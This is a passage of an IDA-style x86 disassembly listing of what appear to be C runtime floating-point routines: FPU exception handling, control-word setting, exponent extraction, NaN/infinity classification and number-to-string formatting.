arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_41C01E
test byte ptr [ebp+arg_8], bl
jz short loc_41C01E
push ebx
call sub_41C4A0
pop ecx
and edi, 0FFFFFFF7h
jmp loc_41C1E8
; ---------------------------------------------------------------------------
loc_41C01E: ; CODE XREF: sub_41BFF3+15j
; sub_41BFF3+1Aj
test al, 4
jz short loc_41C038
test byte ptr [ebp+arg_8], 4
jz short loc_41C038
push 4
call sub_41C4A0
pop ecx
and edi, 0FFFFFFFBh
jmp loc_41C1E8
; ---------------------------------------------------------------------------
loc_41C038: ; CODE XREF: sub_41BFF3+2Dj
; sub_41BFF3+33j
test al, bl
jz loc_41C112
test byte ptr [ebp+arg_8], 8
jz loc_41C112
push 8
call sub_41C4A0
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_41C0EA
cmp ecx, 400h
jz short loc_41C0C2
cmp ecx, 800h
jz short loc_41C09A
cmp ecx, eax
jnz loc_41C10A
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_423810
fld dbl_43ADB0
fnstsw ax
sahf
ja short loc_41C092
fchs
loc_41C092: ; CODE XREF: sub_41BFF3+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_41C108
; ---------------------------------------------------------------------------
loc_41C09A: ; CODE XREF: sub_41BFF3+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_423810
fnstsw ax
sahf
jbe short loc_41C0B2
fld dbl_43ADA0
jmp short loc_41C0BA
; ---------------------------------------------------------------------------
loc_41C0B2: ; CODE XREF: sub_41BFF3+B5j
fld dbl_43ADB0
fchs
loc_41C0BA: ; CODE XREF: sub_41BFF3+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_41C108
; ---------------------------------------------------------------------------
loc_41C0C2: ; CODE XREF: sub_41BFF3+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_423810
fnstsw ax
sahf
jbe short loc_41C0DA
fld dbl_43ADB0
jmp short loc_41C0E2
; ---------------------------------------------------------------------------
loc_41C0DA: ; CODE XREF: sub_41BFF3+DDj
fld dbl_43ADA0
fchs
loc_41C0E2: ; CODE XREF: sub_41BFF3+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_41C108
; ---------------------------------------------------------------------------
loc_41C0EA: ; CODE XREF: sub_41BFF3+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_423810
fld dbl_43ADA0
fnstsw ax
sahf
ja short loc_41C102
fchs
loc_41C102: ; CODE XREF: sub_41BFF3+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_41C108: ; CODE XREF: sub_41BFF3+A5j
; sub_41BFF3+CDj ...
fstp qword ptr [ecx]
loc_41C10A: ; CODE XREF: sub_41BFF3+81j
and edi, 0FFFFFFFEh
jmp loc_41C1E8
; ---------------------------------------------------------------------------
loc_41C112: ; CODE XREF: sub_41BFF3+47j
; sub_41BFF3+51j
test al, 2
jz loc_41C1E8
test byte ptr [ebp+arg_8], 10h
jz loc_41C1E8
push esi
xor esi, esi
test al, 10h
jz short loc_41C12D
mov esi, ebx
loc_41C12D: ; CODE XREF: sub_41BFF3+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_423810
fnstsw ax
sahf
jz loc_41C1D6
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_41C39F
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_41C178
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_41C1CC
; ---------------------------------------------------------------------------
loc_41C178: ; CODE XREF: sub_41BFF3+17Aj
fld [ebp+var_C]
fcomp dbl_423810
fnstsw ax
sahf
jnb short loc_41C18A
mov edx, ebx
jmp short loc_41C18C
; ---------------------------------------------------------------------------
loc_41C18A: ; CODE XREF: sub_41BFF3+191j
xor edx, edx
loc_41C18C: ; CODE XREF: sub_41BFF3+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_41C1C0
sub eax, ecx
loc_41C1A3: ; CODE XREF: sub_41BFF3+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_41C1AE
test esi, esi
jnz short loc_41C1AE
mov esi, ebx
loc_41C1AE: ; CODE XREF: sub_41BFF3+1B3j
; sub_41BFF3+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_41C1BA
or byte ptr [ebp+var_C+3], 80h
loc_41C1BA: ; CODE XREF: sub_41BFF3+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_41C1A3
loc_41C1C0: ; CODE XREF: sub_41BFF3+1ACj
test edx, edx
jz short loc_41C1CC
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_41C1CC: ; CODE XREF: sub_41BFF3+183j
; sub_41BFF3+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_41C1D8
; ---------------------------------------------------------------------------
loc_41C1D6: ; CODE XREF: sub_41BFF3+14Ej
mov esi, ebx
loc_41C1D8: ; CODE XREF: sub_41BFF3+1E1j
test esi, esi
pop esi
jz short loc_41C1E5
push 10h
call sub_41C4A0
pop ecx
loc_41C1E5: ; CODE XREF: sub_41BFF3+1E8j
and edi, 0FFFFFFFDh
loc_41C1E8: ; CODE XREF: sub_41BFF3+26j
; sub_41BFF3+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_41C1FF
test byte ptr [ebp+arg_8], 20h
jz short loc_41C1FF
push 20h
call sub_41C4A0
pop ecx
and edi, 0FFFFFFEFh
loc_41C1FF: ; CODE XREF: sub_41BFF3+1F9j
; sub_41BFF3+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_41BFF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C20A(int,int,int,int,int,int,double,int)
sub_41C20A proc near ; CODE XREF: sub_41BC55+2Bp
; sub_41BCA8+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_41C2B8
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_41C275
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_41C47D
lea eax, [ebp+var_20]
push eax
call sub_41FEAB
add esp, 0Ch
test eax, eax
jnz short loc_41C26F
push esi
call sub_41C292
pop ecx
loc_41C26F: ; CODE XREF: sub_41C20A+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_41C275: ; CODE XREF: sub_41C20A+14j
push 0FFFFh
push [ebp+arg_20]
call sub_41C47D
push [ebp+arg_0]
call sub_41C292
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_41C20A endp
; =============== S U B R O U T I N E =======================================
sub_41C292 proc near ; CODE XREF: sub_41BCA8+7Dp
; sub_41C20A+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_41C2AD
jle short locret_41C2B7
cmp eax, 3
jg short locret_41C2B7
mov dword_4894AC, 22h
retn
; ---------------------------------------------------------------------------
loc_41C2AD: ; CODE XREF: sub_41C292+7j
mov dword_4894AC, 21h
locret_41C2B7: ; CODE XREF: sub_41C292+9j
; sub_41C292+Ej
retn
sub_41C292 endp
; =============== S U B R O U T I N E =======================================
sub_41C2B8 proc near ; CODE XREF: sub_41C20A+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43ACC8
loc_41C2BF: ; CODE XREF: sub_41C2B8+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_41C2D5
add eax, 8
inc ecx
cmp eax, offset dbl_43ADA0
jl short loc_41C2BF
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C2D5: ; CODE XREF: sub_41C2B8+Dj
mov eax, off_43ACCC[ecx*8]
retn
sub_41C2B8 endp
; =============== S U B R O U T I N E =======================================
sub_41C2DD proc near ; CODE XREF: sub_41BCA8+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_41C2E9
push 5
jmp short loc_41C2FF
; ---------------------------------------------------------------------------
loc_41C2E9: ; CODE XREF: sub_41C2DD+6j
test al, 8
jz short loc_41C2F1
push 1
jmp short loc_41C2FF
; ---------------------------------------------------------------------------
loc_41C2F1: ; CODE XREF: sub_41C2DD+Ej
test al, 4
jz short loc_41C2F9
push 2
jmp short loc_41C2FF
; ---------------------------------------------------------------------------
loc_41C2F9: ; CODE XREF: sub_41C2DD+16j
test al, 1
jz short loc_41C301
push 3
loc_41C2FF: ; CODE XREF: sub_41C2DD+Aj
; sub_41C2DD+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_41C301: ; CODE XREF: sub_41C2DD+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_41C2DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C30A(double)
sub_41C30A proc near ; CODE XREF: sub_4179A4:loc_417A2Ap
; sub_417AEB:loc_417B71p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_41C30A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C31C(double,int)
sub_41C31C proc near ; CODE XREF: sub_41C39F+82p
; sub_41C39F+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_41C31C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C345 proc near ; CODE XREF: sub_4179A4+31p
; sub_417AEB+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_41C35C
cmp [ebp+arg_0], edx
jnz short loc_41C36E
push 1
jmp short loc_41C398
; ---------------------------------------------------------------------------
loc_41C35C: ; CODE XREF: sub_41C345+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_41C36E
cmp [ebp+arg_0], edx
jnz short loc_41C36E
push 2
jmp short loc_41C398
; ---------------------------------------------------------------------------
loc_41C36E: ; CODE XREF: sub_41C345+11j
; sub_41C345+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_41C381
push 3
jmp short loc_41C398
; ---------------------------------------------------------------------------
loc_41C381: ; CODE XREF: sub_41C345+36j
cmp cx, 7FF0h
jnz short loc_41C39B
test [ebp+arg_4], 7FFFFh
jnz short loc_41C396
cmp [ebp+arg_0], edx
jz short loc_41C39B
loc_41C396: ; CODE XREF: sub_41C345+4Aj
push 4
loc_41C398: ; CODE XREF: sub_41C345+15j
; sub_41C345+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C39B: ; CODE XREF: sub_41C345+41j
; sub_41C345+4Fj
xor eax, eax
pop ebp
retn
sub_41C345 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C39F(double,int)
sub_41C39F proc near ; CODE XREF: sub_41BFF3+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_423810
push esi
fnstsw ax
sahf
jnz short loc_41C3BF
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_41C455
; ---------------------------------------------------------------------------
loc_41C3BF: ; CODE XREF: sub_41C39F+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_41C42E
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_41C3D7
cmp dword ptr [ebp+arg_0], ecx
jz short loc_41C42E
loc_41C3D7: ; CODE XREF: sub_41C39F+31j
fld [ebp+arg_0]
fcomp dbl_423810
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_41C3EF
push 1
pop eax
jmp short loc_41C3F1
; ---------------------------------------------------------------------------
loc_41C3EF: ; CODE XREF: sub_41C39F+49j
xor eax, eax
loc_41C3F1: ; CODE XREF: sub_41C39F+4Ej
; sub_41C39F+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_41C40A
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_41C404
or dword ptr [ebp+arg_0+4], 1
loc_41C404: ; CODE XREF: sub_41C39F+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_41C3F1
; ---------------------------------------------------------------------------
loc_41C40A: ; CODE XREF: sub_41C39F+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_41C418
or byte ptr [ebp+arg_0+7], 80h
loc_41C418: ; CODE XREF: sub_41C39F+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_41C31C
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_41C455
; ---------------------------------------------------------------------------
loc_41C42E: ; CODE XREF: sub_41C39F+28j
; sub_41C39F+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_41C31C
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_41C455: ; CODE XREF: sub_41C39F+1Bj
; sub_41C39F+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_41C39F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C460 proc near ; CODE XREF: sub_41BD40+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_41C460 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C46E proc near ; CODE XREF: sub_41BD40+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_41C46E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C47D proc near ; CODE XREF: sub_4179A4+13p
; sub_4179A4+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_41C47D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C4A0 proc near ; CODE XREF: sub_41BFF3+1Dp
; sub_41BFF3+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_41C4B7
fld tbyte_43ADC8
fistp [ebp+arg_0]
wait
loc_41C4B7: ; CODE XREF: sub_41C4A0+Bj
test cl, 8
jz short loc_41C4CC
fstsw ax
fld tbyte_43ADC8
fstp [ebp+var_8]
wait
fstsw ax
loc_41C4CC: ; CODE XREF: sub_41C4A0+1Aj
test cl, 10h
jz short loc_41C4DB
fld tbyte_43ADD4
fstp [ebp+var_8]
wait
loc_41C4DB: ; CODE XREF: sub_41C4A0+2Fj
test cl, 4
jz short loc_41C4E9
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_41C4E9: ; CODE XREF: sub_41C4A0+3Ej
test cl, 20h
jz short locret_41C4F4
fldpi
fstp [ebp+var_8]
wait
locret_41C4F4: ; CODE XREF: sub_41C4A0+4Cj
leave
retn
sub_41C4A0 endp
; =============== S U B R O U T I N E =======================================
sub_41C4F6 proc near ; CODE XREF: sub_417A73+Fp
push 30000h
push 10000h
call sub_41FEE3
pop ecx
pop ecx
retn
sub_41C4F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C508 proc near ; CODE XREF: sub_41C546:loc_41C56Aj
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_423820
fstp [ebp+var_8]
fld dbl_423818
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_4236A0
fnstsw ax
sahf
jbe short loc_41C542
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_41C542: ; CODE XREF: sub_41C508+33j
xor eax, eax
leave
retn
sub_41C508 endp
; =============== S U B R O U T I N E =======================================
sub_41C546 proc near ; CODE XREF: sub_417A73+5p
push offset aKernel32 ; "KERNEL32"
call dword_423100 ; GetModuleHandleA
test eax, eax
jz short loc_41C56A
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call dword_4230DC ; GetProcAddress
test eax, eax
jz short loc_41C56A
push 0
call eax ; sub_417A73
retn
; ---------------------------------------------------------------------------
loc_41C56A: ; CODE XREF: sub_41C546+Dj
; sub_41C546+1Dj
jmp sub_41C508
sub_41C546 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41C56F proc near ; CODE XREF: sub_419B38+3CBp
; DATA XREF: sub_417A8B+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_418E01
cmp eax, 65h
pop ecx
jz short loc_41C5AF
loc_41C583: ; CODE XREF: sub_41C56F+3Ej
inc esi
cmp dword_438C8C, 1
jle short loc_41C59C
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41A342
pop ecx
pop ecx
jmp short loc_41C5AB
; ---------------------------------------------------------------------------
loc_41C59C: ; CODE XREF: sub_41C56F+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_438A80
mov al, [ecx+eax*2]
and eax, 4
loc_41C5AB: ; CODE XREF: sub_41C56F+2Bj
test eax, eax
jnz short loc_41C583
loc_41C5AF: ; CODE XREF: sub_41C56F+12j
mov cl, byte_438C90
mov al, [esi]
mov [esi], cl
inc esi
loc_41C5BA: ; CODE XREF: sub_41C56F+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_41C5BA
pop esi
retn
sub_41C56F endp
; =============== S U B R O U T I N E =======================================
sub_41C5C9 proc near ; CODE XREF: sub_419B38+3E2p
; DATA XREF: sub_417A8B+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_438C90
mov cl, [eax]
test cl, cl
jz short loc_41C5E5
loc_41C5D9: ; CODE XREF: sub_41C5C9+1Aj
cmp cl, dl
jz short loc_41C5E5
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_41C5D9
loc_41C5E5: ; CODE XREF: sub_41C5C9+Ej
; sub_41C5C9+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_41C616
loc_41C5EC: ; CODE XREF: sub_41C5C9+34j
mov cl, [eax]
test cl, cl
jz short loc_41C5FF
cmp cl, 65h
jz short loc_41C5FF
cmp cl, 45h
jz short loc_41C5FF
inc eax
jmp short loc_41C5EC
; ---------------------------------------------------------------------------
loc_41C5FF: ; CODE XREF: sub_41C5C9+27j
; sub_41C5C9+2Cj ...
mov ecx, eax
loc_41C601: ; CODE XREF: sub_41C5C9+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_41C601
cmp [eax], dl
jnz short loc_41C60C
dec eax
loc_41C60C: ; CODE XREF: sub_41C5C9+40j
; sub_41C5C9+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_41C60C
locret_41C616: ; CODE XREF: sub_41C5C9+21j
retn
sub_41C5C9 endp
; =============== S U B R O U T I N E =======================================
sub_41C617 proc near ; DATA XREF: sub_417A8B+28o
; .data:off_43ADF0o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_423810
fnstsw ax
sahf
jb short loc_41C62C
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41C62C: ; CODE XREF: sub_41C617+Fj
xor eax, eax
retn
sub_41C617 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C62F proc near ; CODE XREF: sub_41D497+430p
; DATA XREF: sub_417A8B+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_41C658
lea eax, [ebp+var_8]
push eax
call sub_4203A6
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_41C658: ; CODE XREF: sub_41C62F+Cj
lea eax, [ebp+arg_8]
push eax
call sub_4203D3
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_41C62F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C66D proc near ; CODE XREF: sub_41C8EA+17p
; sub_41C934+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_48951C, 0
push ebx
push esi
jz short loc_41C6A2
mov ebx, [ebp+arg_8]
mov eax, dword_489518
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_41C985
pop ecx
pop ecx
jmp short loc_41C6DA
; ---------------------------------------------------------------------------
loc_41C6A2: ; CODE XREF: sub_41C66D+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_420477
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_420400
add esp, 14h
loc_41C6DA: ; CODE XREF: sub_41C66D+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_41C6E6
mov byte ptr [eax], 2Dh
inc eax
loc_41C6E6: ; CODE XREF: sub_41C66D+73j
test ebx, ebx
jle short loc_41C6FE
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_438C90
mov eax, edi
pop edi
mov [eax], cl
loc_41C6FE: ; CODE XREF: sub_41C66D+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_48951C, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_4176C0
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_41C725
mov byte ptr [ecx], 45h
loc_41C725: ; CODE XREF: sub_41C66D+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_41C76A
mov ebx, [esi+4]
dec ebx
jns short loc_41C739
neg ebx
mov byte ptr [ecx], 2Dh
loc_41C739: ; CODE XREF: sub_41C66D+C5j
inc ecx
cmp ebx, 64h
jl short loc_41C750
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41C750: ; CODE XREF: sub_41C66D+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_41C767
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41C767: ; CODE XREF: sub_41C66D+E7j
add [ecx+1], bl
loc_41C76A: ; CODE XREF: sub_41C66D+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_41C66D endp
; =============== S U B R O U T I N E =======================================
sub_41C771 proc near ; CODE XREF: sub_41C911+13p
; sub_41C934+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_48951C, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_41C7AC
mov eax, dword_489520
mov ebx, [esp+10h+arg_8]
mov esi, dword_489518
cmp eax, ebx
jnz short loc_41C7DC
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_41C7DC
; ---------------------------------------------------------------------------
loc_41C7AC: ; CODE XREF: sub_41C771+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_420477
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_420400
add esp, 14h
loc_41C7DC: ; CODE XREF: sub_41C771+22j
; sub_41C771+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_41C7EA
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_41C7EA: ; CODE XREF: sub_41C771+70j
mov eax, [esi+4]
test eax, eax
jg short loc_41C801
push 1
push edi
call sub_41C985
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_41C803
; ---------------------------------------------------------------------------
loc_41C801: ; CODE XREF: sub_41C771+7Ej
add edi, eax
loc_41C803: ; CODE XREF: sub_41C771+8Ej
test ebx, ebx
jle short loc_41C848
push 1
push edi
call sub_41C985
mov al, byte_438C90
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_41C848
cmp byte_48951C, 0
jz short loc_41C82D
neg esi
jmp short loc_41C833
; ---------------------------------------------------------------------------
loc_41C82D: ; CODE XREF: sub_41C771+B6j
neg esi
cmp ebx, esi
jl short loc_41C835
loc_41C833: ; CODE XREF: sub_41C771+BAj
mov ebx, esi
loc_41C835: ; CODE XREF: sub_41C771+C0j
push ebx
push edi
call sub_41C985
push ebx
push 30h
push edi
call sub_417030
add esp, 14h
loc_41C848: ; CODE XREF: sub_41C771+94j
; sub_41C771+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_41C771 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C84F proc near ; CODE XREF: sub_41C934+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_420477
mov dword_489518, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_489520, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_420400
mov eax, dword_489518
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_489520, ecx
setl cl
mov byte_489524, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_489520, eax
jl short loc_41C8D5
cmp eax, ebx
jge short loc_41C8D5
test cl, cl
jz short loc_41C8C6
